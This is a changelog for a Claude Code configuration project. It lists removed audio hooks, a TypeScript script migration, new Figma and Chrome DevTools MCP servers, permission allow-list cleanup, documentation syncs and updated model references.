  • hooks/README.md — retabled configured hooks (UserPromptSubmit now a single entry), .sh → .ts script names aligned with reality post-TS-migration.
  • agents/deslopper.md — Bash/Markdown cross-index example now points at MANAGED_SKILLS array instead of deleted skill-patterns.sh.

Opportunities flagged, not adopted:

  • CwdChanged / FileChanged hooks (v2.1.83) — reactive env management; no concrete use case yet.
  • Elicitation / ElicitationResult hooks (v2.1.76) — could intercept Sanity/Figma OAuth prompts; deferred.
  • OTEL env vars (OTEL_LOG_USER_PROMPTS, OTEL_LOG_RAW_API_BODIES) — could replace log-bash.ts + swarm-log.ts at team scale; deferred until collector exists.
  • /ultrareview (v2.1.111) — native parallel multi-agent review; our /review is a thin agent wrapper with different surface area, kept for now.
  • /less-permission-prompts (v2.1.111) — run it once against the current 60+ entry allow list to consolidate; owner to schedule.

Audio Removal + Pre-TS-Migration Deslop

  • Removed scripts/notify-sound.sh (146 lines) and all 8 hook invocations — audio feedback unused in practice.
  • Removed PermissionDenied hook event entirely — its only action was notify-sound.sh safety_block.
  • Removed PostToolUse if: Bash(git commit*) hook — was commit sound only.
  • Simplified PreToolUse safety-net.sh wrapper — dropped the sound-on-block branch; direct script invocation now.
  • Dropped Bash(afplay:*) from .claude/settings.local.json.
  • Pruned hooks-config.json — removed audio.* (14 lines) and stale compact_reminder (3 lines) sections.
  • Removed dead is_hook_enabled function from lib/hook-config.sh (no callers).
  • Stopped sourcing lib/hook-config.sh in setup.sh — it's runtime-only (used by session-start.sh).
  • Doc sync: corrected hook-event count (23/26 → 27) across README.md, hooks/README.md, docs/hooks-reference.md; added missing PostCompact, StopFailure, TaskCreated rows.

New MCP Servers

  • Figma Dev Mode MCP — Remote HTTP at https://mcp.figma.com/mcp. OAuth on first use. Design-to-code: tokens, styles, component props, variables.
  • Chrome DevTools MCP — Stdio via chrome-devtools-mcp@latest. Performance traces, network, console, user simulation. Preferred over lighthouse CLI for Core Web Vitals.

Duplication & Native-Replacement Cleanup

  • model: "opus[1m]" → "opus" — 1M context is default on Max plans (v2.1.75+).
  • Removed Bash(cat|head|tail|less|sed -n):* from permissions.allow — CLAUDE.md instructs Claude to use Read/Edit tools.
  • Simplified PermissionDenied hook — dropped bespoke logging (native /less-permission-prompts in v2.1.111 covers it).
  • Simplified Stop hook — dropped compact-reminder.sh call (native /context tips in v2.1.108 cover it).
  • Removed skills/effort/ — superseded by native /effort interactive slider (v2.1.111).
  • Removed scripts/permission-denied.sh, scripts/compact-reminder.sh — no longer referenced.

Docs

  • New docs/cache-strategy.md — KV-cache prefix ordering and wake-up budget guidance moved out of CLAUDE-FULL.md.
  • CLAUDE-FULL.md 182 → 161 lines — Cache-Friendly Context Ordering and Hook Events sections replaced with pointers.
  • Stale references swept — MANUAL.md, USAGE.md, hooks-reference, frontmatter-reference, hooks/README, skills/README, skill-patterns.sh, skill-activation.sh, setup.sh.

Model Update: Opus 4.7

  • Updated all model references from Opus 4.6 / Sonnet 4.6 to Opus 4.7 / Sonnet 4.7
  • Updated across: CLAUDE-FULL.md, settings-reference, MANUAL, USAGE, plugin.json, skills, rules, tests

New Features Adopted (Claude Code v2.1.108–v2.1.110)

  • ENABLE_PROMPT_CACHING_1H — Enabled 1-hour prompt cache TTL in settings.json env block. Extends KV-cache reuse from 5 minutes to 1 hour (API key, Bedrock, Vertex, Foundry).
  • /tui fullscreen — Documented flicker-free fullscreen rendering mode (pairs with existing CLAUDE_CODE_NO_FLICKER=1 env var).
  • /focus — Documented transcript toggle (normal vs verbose view).
  • /recap — Documented session recap feature; auto-triggers on session return.
  • Output token limits — Documented 64K default / 128K upper bound for Opus/Sonnet.
  • PermissionDenied hook — Added to Hook Events listing in CLAUDE-FULL.md (27 events, up from 26). Already configured in settings.json since v7.x.
  • Hooks reference update — Added PermissionDenied event to docs/hooks-reference.md with env vars ($TOOL_NAME, $PERMISSION_DECISION_REASON) and configured hook entry.

Files Changed

  • CLAUDE-FULL.md — Model version, session commands, output limits, cache env var, hook count
  • settings.json — Added ENABLE_PROMPT_CACHING_1H env var
  • rules/git.md — Updated attribution example
  • docs/settings-reference.md — Updated model table
  • docs/hooks-reference.md — Added PermissionDenied event, env vars, configured hook section
  • .claude-plugin/plugin.json — Updated keyword
  • MANUAL.md — Updated statusline example
  • USAGE.md — Updated statusline example
  • skills/context/SKILL.md — Updated statusline and degradation table
  • tests/safety-net-test.sh — Updated test fixture

Previous Versions

Pre-unification milestones (product versioned as v5–v8; installer versioned 8–10 separately):

  • v8.0.0 — 1M context window default via opus[1m] model alias
  • v7.x — Hook system expansion (27 events), PermissionDenied hook, conditional if field
  • v6.x — Agent Teams, TLDR integration, skill system
  • v5.x — Portable AGENTS.md, two-tier knowledge system